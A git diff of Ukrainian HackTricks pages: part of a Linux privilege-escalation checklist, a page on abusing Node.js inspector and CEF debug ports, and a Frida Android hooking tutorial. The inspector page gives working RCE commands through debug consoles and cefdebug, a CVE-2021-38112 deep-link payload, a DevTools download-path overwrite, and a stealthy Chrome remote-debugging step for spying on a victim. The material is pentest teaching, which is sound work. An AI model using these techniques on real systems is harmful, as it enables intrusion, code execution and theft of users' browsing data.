* [ ] Чи можете ви [**читати або модифікувати файли sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] Чи можете ви [**модифікувати /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) команда
### [Можливості](privilege-escalation/#capabilities)
* [ ] Чи має який-небудь виконуваний файл **неочікувані можливості**?
* [ ] Чи має будь-який бінарний файл **неочікувану можливість**?
### [ACLs](privilege-escalation/#acls)
### [ACL](privilege-escalation/#acls)
* [ ] Чи має який-небудь файл **неочікувані ACL**?
* [ ] Чи має будь-який файл **неочікуваний ACL**?
### [Відкриті сесії оболонки](privilege-escalation/#open-shell-sessions)
@ -136,32 +138,62 @@
### [SSH](privilege-escalation/#ssh)
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**Цікаві значення конфігурації SSH**](privilege-escalation/#ssh-interesting-configuration-values)
* [ ] **Debian** [**OpenSSL Передбачуваний PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**Цікаві конфігураційні значення SSH**](privilege-escalation/#ssh-interesting-configuration-values)
### [Цікаві файли](privilege-escalation/#interesting-files)
* [ ] **Файли профілю** - Чи можна прочитати чутливі дані? Записати для підвищення привілеїв?
* [ ] **Файли passwd/shadow** - Чи можна прочитати чутливі дані? Записати для підвищення привілеїв?
* [ ] **Перевірте загально цікаві теки** на наявність чутливих даних
* [ ] **Дивні місця/Файли, які належать**, до яких ви маєте доступ або можна змінити виконувані файли
* [ ] **Змінено** за останні хвилини
* [ ] **Файли баз даних Sqlite**
* [ ] **Приховані файли**
* [ ] **Скрипти/Виконувані файли в PATH**
* [ ] **Веб-файли** (паролі?)
* [ ] **Файли профілю** - Читати чутливі дані? Записувати для privesc?
* [ ] **passwd/shadow файли** - Читати чутливі дані? Записувати для privesc?
* [ ] **Перевірити загально цікаві папки** на наявність чутливих даних
* [ ] **Дивні місця/власні файли**, до яких ви можете отримати доступ або змінити виконувані файли
* [ ] **Змінені** за останні хвилини
* [ ] **Sqlite DB файли**
* [ ] **Сховані файли**
* [ ] **Скрипти/Бінарники в PATH**
* [ ] **Веб файли** (паролі?)
* [ ] **Резервні копії**?
* [ ] **Відомі файли, що містять паролі**: Використовуйте **Linpeas** та **LaZagne**
* [ ] **Загальний пошук**
### [**Файли для запису**](privilege-escalation/#writable-files)
### [**Записувані файли**](privilege-escalation/#writable-files)
* [ ] **Змінити бібліотеку Python** для виконання довільних команд?
* [ ] Чи можна **змінити файли журналу**? Використовуйте експлойт **Logtotten**
* [ ] Чи можна **змінити /etc/sysconfig/network-scripts/**? Експлойт для Centos/Redhat
* [ ] Чи можна [**записувати в файли ini, int.d, systemd або rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
* [ ] **Модифікувати бібліотеку python** для виконання довільних команд?
* [ ] Чи можете ви **модифікувати журнали**? **Logtotten** експлойт
* [ ] Чи можете ви **модифікувати /etc/sysconfig/network-scripts/**? Centos/Redhat експлойт
* [ ] Чи можете ви [**записувати в ini, int.d, systemd або rc.d файли**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
### [**Інші трюки**](privilege-escalation/#other-tricks)
* [ ] Чи можна [**зловживати NFS для підвищення привілеїв**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] Чи потрібно [**вибратися з обмеженої оболонки**](privilege-escalation/#escaping-from-restricted-shells)?
* [ ] Чи можете ви [**зловживати NFS для підвищення привілеїв**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] Чи потрібно вам [**втекти з обмеженої оболонки**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Хакерські інсайти**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
**Новини хакерства в реальному часі**\
Будьте в курсі швидкоплинного світу хакерства через новини та інсайти в реальному часі
**Останні оголошення**\
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Зловживання відладчиком Node inspector/CEF
# Node inspector/CEF debug abuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Основна інформація
[З документації](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Коли процес Node.js запускається з параметром `--inspect`, він очікує підключення відладчика. За **замовчуванням**, він слухатиме хост та порт **`127.0.0.1:9229`**. Кожному процесу також призначається **унікальний** **UUID**.
Клієнти відладчика повинні знати та вказати адресу хоста, порт та UUID для підключення. Повна URL-адреса буде виглядати приблизно так: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
{% hint style="warning" %}
Оскільки **відладчик має повний доступ до середовища виконання Node.js**, зловмисник, який може підключитися до цього порту, може виконати довільний код від імені процесу Node.js (**потенційний підвищення привілеїв**).
{% endhint %}
Є кілька способів запуску відладчика:
## Basic Information
[З документації](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Коли процес Node.js запускається з параметром `--inspect`, він слухає клієнта для налагодження. За **замовчуванням** він буде слухати на хості та порту **`127.0.0.1:9229`**. Кожному процесу також присвоюється **унікальний** **UUID**.
Клієнти інспектора повинні знати та вказати адресу хоста, порт і UUID для підключення. Повна URL-адреса виглядатиме приблизно так: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
{% hint style="warning" %}
Оскільки **налагоджувач має повний доступ до середовища виконання Node.js**, зловмисник, який зможе підключитися до цього порту, може виконати довільний код від імені процесу Node.js (**потенційне підвищення привілеїв**).
{% endhint %}
Існує кілька способів запустити інспектора:
```bash
node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
@ -35,50 +36,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
```
Коли ви запускаєте процес для перевірки, щось на зразок цього з'явиться:
Коли ви запускаєте перевірений процес, щось подібне з'явиться:
```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
```
Процеси на основі **CEF** (**Chromium Embedded Framework**) подібно до потреби використовувати параметр: `--remote-debugging-port=9222` для відкриття **відлагоджувача** (захист від SSRF залишається дуже схожим). Однак вони **замість** надання сеансу **відлагодження** **NodeJS** будуть спілкуватися з браузером за допомогою [**Протоколу Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/), це інтерфейс для управління браузером, але без прямого RCE.
Процеси, що базуються на **CEF** (**Chromium Embedded Framework**), повинні використовувати параметр: `--remote-debugging-port=9222`, щоб відкрити **debugger** (заходи захисту від SSRF залишаються дуже схожими). Однак, вони **замість** надання сесії **NodeJS** **debug** спілкуватимуться з браузером, використовуючи [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), це інтерфейс для керування браузером, але немає прямого RCE.
Коли ви запускаєте відлагоджений браузер, щось на зразок цього з'явиться:
Коли ви запускаєте налагоджений браузер, з'явиться щось подібне:
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
### Браузери, WebSockets та політика однакового походження <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
Веб-сайти, відкриті у веб-браузері, можуть робити запити WebSocket та HTTP в рамках моделі безпеки браузера. **Початкове HTTP підключення** необхідне для **отримання унікального ідентифікатора сеансу відладчика**. **Політика однакового походження** **запобігає** веб-сайтам робити **це HTTP підключення**. Для додаткової безпеки проти [**атак DNS перенаправлення**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js перевіряє, що **заголовки 'Host'** для підключення вказують або **IP-адресу**, або **`localhost`** або **`localhost6`** точно.
Веб-сайти, відкриті в веб-браузері, можуть здійснювати запити WebSocket та HTTP відповідно до моделі безпеки браузера. **Початкове HTTP-з'єднання** необхідне для **отримання унікального ідентифікатора сесії налагодження**. **Політика однакового походження** **запобігає** веб-сайтам можливості здійснювати **це HTTP-з'єднання**. Для додаткової безпеки проти [**атак повторного прив'язування DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js перевіряє, що **заголовки 'Host'** для з'єднання або вказують на **IP-адресу**, або **`localhost`**, або **`localhost6`** точно.
{% hint style="info" %}
Ці **заходи безпеки запобігають використанню інспектора** для виконання коду **лише шляхом відправлення HTTP-запиту** (що можна було зробити, використовуючи уразливість SSRF).
Ці **заходи безпеки запобігають експлуатації інспектора** для виконання коду, **просто відправляючи HTTP-запит** (що могло б бути зроблено шляхом експлуатації вразливості SSRF).
{% endhint %}
### Запуск інспектора в робочих процесах
### Starting inspector in running processes
Ви можете відправити **сигнал SIGUSR1** до запущеного процесу nodejs, щоб він **запустив інспектор** на типовому порту. Проте, зверніть увагу, що вам потрібно мати достатньо привілеїв, тому це може надати вам **привілеї доступу до інформації всередині процесу**, але не прямого підвищення привілеїв.
Ви можете надіслати **сигнал SIGUSR1** запущеному процесу nodejs, щоб змусити його **запустити інспектор** на порту за замовчуванням. Однак зверніть увагу, що вам потрібно мати достатні привілеї, тому це може надати вам **привілейований доступ до інформації всередині процесу**, але не пряме підвищення привілеїв.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
```
{% hint style="info" %}
Це корисно в контейнерах, оскільки **зупинка процесу та запуск нового** з `--inspect` **не є варіантом**, оскільки **контейнер** буде **закритий** разом з процесом.
Це корисно в контейнерах, оскільки **зупинка процесу та запуск нового** з `--inspect` **не є варіантом**, оскільки **контейнер** буде **вбито** разом з процесом.
{% endhint %}
### Підключення до інспектора/дебагера
Для підключення до **браузера на основі Chromium**, можна використовувати URL-адреси `chrome://inspect` або `edge://inspect` для Chrome або Edge відповідно. Натиснувши кнопку Configure, слід переконатися, що **цільовий хост та порт** вказані правильно. На зображенні показано приклад віддаленого виконання коду (RCE):
Щоб підключитися до **браузера на основі Chromium**, можна отримати доступ до URL-адрес `chrome://inspect` або `edge://inspect` для Chrome або Edge відповідно. Натиснувши кнопку Налаштування, слід переконатися, що **цільовий хост і порт** правильно вказані. Зображення показує приклад віддаленого виконання коду (RCE):
![](<../../.gitbook/assets/image (620) (1).png>)
![](<../../.gitbook/assets/image (674).png>)
За допомогою **командного рядка** можна підключитися до дебагера/інспектора за допомогою:
Використовуючи **командний рядок**, ви можете підключитися до дебагера/інспектора за допомогою:
```bash
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
```
Інструмент [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) дозволяє **знаходити інспекторів**, які працюють локально, та **впроваджувати код** в них.
Інструмент [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) дозволяє **знайти інспектори**, що працюють локально, та **впровадити код** у них.
```bash
#List possible vulnerable sockets
./cefdebug.exe
@ -88,34 +89,34 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
```
{% hint style="info" %}
Зверніть увагу, що **експлойти RCE NodeJS не працюватимуть**, якщо ви підключені до браузера через [**Протокол Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/) (вам потрібно перевірити API, щоб знайти цікаві речі, які можна зробити з ним).
Зверніть увагу, що **вразливості RCE в NodeJS не працюватимуть**, якщо підключені до браузера через [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (вам потрібно перевірити API, щоб знайти цікаві речі, які можна з ним зробити).
{% endhint %}
## RCE в NodeJS Debugger/Inspector
{% hint style="info" %}
Якщо ви сюди прийшли, щоб дізнатися, як отримати **RCE з XSS в Electron, будь ласка, перевірте цю сторінку.**
Якщо ви прийшли сюди, шукаючи, як отримати [**RCE з XSS в Electron, будь ласка, перевірте цю сторінку.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endhint %}
Деякі загальні способи отримання **RCE**, коли ви можете **підключитися** до **інспектора Node**, це використання чогось на зразок (виглядає так, що це **не працюватиме в підключенні до протоколу Chrome DevTools**):
Деякі поширені способи отримання **RCE**, коли ви можете **підключитися** до Node **інспектора**, це використання чогось на зразок (схоже, що це **не буде працювати при підключенні до Chrome DevTools protocol**):
```javascript
process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
```
## Пакети Chrome DevTools Protocol
## Chrome DevTools Protocol Payloads
Ви можете перевірити API тут: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
У цьому розділі я просто перерахую цікаві речі, які я знайшов, які люди використовували для зловживання цим протоколом.
You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
In this section I will just list interesting things I find people have used to exploit this protocol.
### Впровадження параметрів через глибокі посилання
### Parameter Injection via Deep Links
У [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino Security виявили, що додаток на основі CEF **зареєстрував власний UR**I в системі (workspaces://), який отримував повний URI, а потім **запускав додаток на основі CEF** з конфігурацією, яка була частково побудована з цього URI.
In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **зареєструвала власний UR**I в системі (workspaces://), який отримував повний URI і потім **запускав CEF на основі додатка** з конфігурацією, яка частково формувалася з цього URI.
Було виявлено, що параметри URI декодувалися з URL та використовувалися для запуску базового додатка CEF, що дозволяло користувачеві **впроваджувати** прапор **`--gpu-launcher`** у **командному рядку** та виконувати довільні дії.
Було виявлено, що параметри URI декодувалися з URL і використовувалися для запуску базового додатка CEF, що дозволяло користувачу **впроваджувати** прапорець **`--gpu-launcher`** у **командний рядок** і виконувати довільні команди.
Таким чином, пакет, подібний до:
So, a payload like:
```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
```
@ -123,7 +124,7 @@ workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
### Перезапис файлів
Змініть папку, куди будуть зберігатися **завантажені файли**, та завантажте файл для **перезапису** часто використовуваного **вихідного коду** програми вашим **зловмисним кодом**.
Змініть папку, куди **завантажені файли будуть збережені**, і завантажте файл, щоб **перезаписати** часто використовуваний **джерельний код** програми вашим **шкідливим кодом**.
```javascript
ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
@ -135,19 +136,19 @@ downloadPath: '/code/'
}
}));
```
### Використання Webdriver для виконання коду та ексфільтрації
### Webdriver RCE та ексфільтрація
Згідно з цим постом: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) можливо отримати RCE та ексфільтрувати внутрішні сторінки з theriver.
### Післяексплуатаційна фаза
### Пост-експлуатація
У реальному середовищі та **після компрометації** ПК користувача, який використовує браузер на основі Chrome/Chromium, можна запустити процес Chrome з **активованим налагодженням та перенаправити порт налагодження**, щоб мати до нього доступ. Таким чином ви зможете **перевірити все, що робить жертва з Chrome та викрасти чутливу інформацію**.
У реальному середовищі та **після компрометації** ПК користувача, який використовує браузер на базі Chrome/Chromium, ви можете запустити процес Chrome з **активованим налагодженням та переадресувати порт налагодження**, щоб мати до нього доступ. Таким чином, ви зможете **перевіряти все, що жертва робить у Chrome, і красти чутливу інформацію**.
Прихованим способом є **завершення кожного процесу Chrome** та подальше викликання чогось на зразок
Схований спосіб полягає в тому, щоб **завершити кожен процес Chrome** і потім викликати щось на кшталт
```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
```
## Посилання
## References
* [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s)
* [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
@ -160,16 +161,17 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# Посібник з Frida 2
# Frida Tutorial 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Підказка щодо баг-баунті**: **зареєструйтеся** на **Intigriti**, преміальній **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
**Bug bounty tip**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Це краткий огляд публікації**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Частини 2, 3 та 4)\
**APK-файли та вихідний код**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Це резюме посту**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Частини 2, 3 та 4)\
**APKs та вихідний код**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
Частина 1 настільки проста.
Перша частина дуже проста.
**Деякі частини оригінального коду не працюють і були змінені тут.**
## Частина 2
## Part 2
Тут ви можете побачити приклад того, як **підключити 2 функції з однаковою назвою**, але з різними параметрами.\
Також ви дізнаєтеся, як **викликати функцію зі своїми параметрами**.\
І нарешті, є приклад того, як **знайти екземпляр класу та змусити його викликати функцію**.
Тут ви можете побачити приклад того, як **перехопити 2 функції з однаковою назвою** але з різними параметрами.\
Також ви навчитеся, як **викликати функцію з вашими власними параметрами**.\
І нарешті, є приклад того, як **знайти екземпляр класу і змусити його викликати функцію**.
```javascript
//s2.js
console.log("Script loaded successfully ");
@ -64,7 +67,7 @@ onComplete: function () { }
});
});
```
Ви можете побачити, що для створення рядка спочатку було зверненося до класу _java.lang.String_, а потім було створено об'єкт _$new_ цього класу з рядком як вмістом. Це правильний спосіб створення нового об'єкта класу. Але в цьому випадку ви можете просто передати будь-який рядок до `this.fun()`, наприклад: `this.fun("hey there!")`
Ви можете побачити, що для створення рядка спочатку було посилання на клас _java.lang.String_, а потім було створено об'єкт _$new_ цього класу з рядком як вмістом. Це правильний спосіб створення нового об'єкта класу. Але в цьому випадку ви могли б просто передати в `this.fun()` будь-який рядок, наприклад: `this.fun("hey there!")`
### Python
```python
@ -91,7 +94,7 @@ python loader.py
### Python
Зараз ви побачите, як надсилати команди до підцепленої програми через Python для виклику функції:
Тепер ви побачите, як надсилати команди до підключеного додатку через Python, щоб викликати функцію:
```python
//loader.py
import time
@ -122,9 +125,9 @@ script.exports.callsecretfunction()
elif command == "3":
script.exports.hooksecretfunction()
```
Команда "**1**" вийде, команда "**2**" знайде та **екземпляр класу та викличе приватну функцію** _**secret()**_, а команда "**3**" **підключить** функцію _**secret()**_ так, що вона **поверне** **інший рядок**.
Команда "**1**" **вийде**, команда "**2**" знайде і **екземпляр класу та викличе приватну функцію** _**secret()**_, а команда "**3**" **перехопить** функцію _**secret()**_, щоб вона **повертала** **інший рядок**.
Таким чином, якщо ви викличете "**2**", ви отримаєте **справжню таємницю**, але якщо ви викличете "**3**", а потім "**2**", ви отримаєте **фальшиву таємницю**.
Отже, якщо ви викликаєте "**2**", ви отримаєте **справжній секрет**, але якщо ви спочатку викликаєте "**3**", а потім "**2**", ви отримаєте **фальшивий секрет**.
### JS
```javascript
@ -165,9 +168,9 @@ callsecretfunction: callSecretFun,
hooksecretfunction: hookSecret
};
```
## Частина 4
## Part 4
Тут ви побачите, як зробити взаємодію **Python та JS** за допомогою об'єктів JSON. JS використовує функцію `send()` для відправлення даних клієнту Python, а Python використовує функції `post()` для відправлення даних до JS скрипту. **JS буде блокувати виконання** до отримання відповіді від Python.
Тут ви побачите, як змусити **Python і JS взаємодіяти** за допомогою об'єктів JSON. JS використовує функцію `send()` для відправки даних до клієнта Python, а Python використовує функцію `post()` для відправки даних до скрипта JS. **JS заблокує виконання** до отримання відповіді від Python.
### Python
```python
@ -218,22 +221,25 @@ return this.setText(string_to_recv);
}
});
```
Є частина 5, яку я не буду пояснювати, оскільки тут немає нічого нового. Але якщо ви хочете прочитати, ось посилання: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
Є частина 5, яку я не буду пояснювати, оскільки там немає нічого нового. Але якщо ви хочете прочитати, вона тут: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
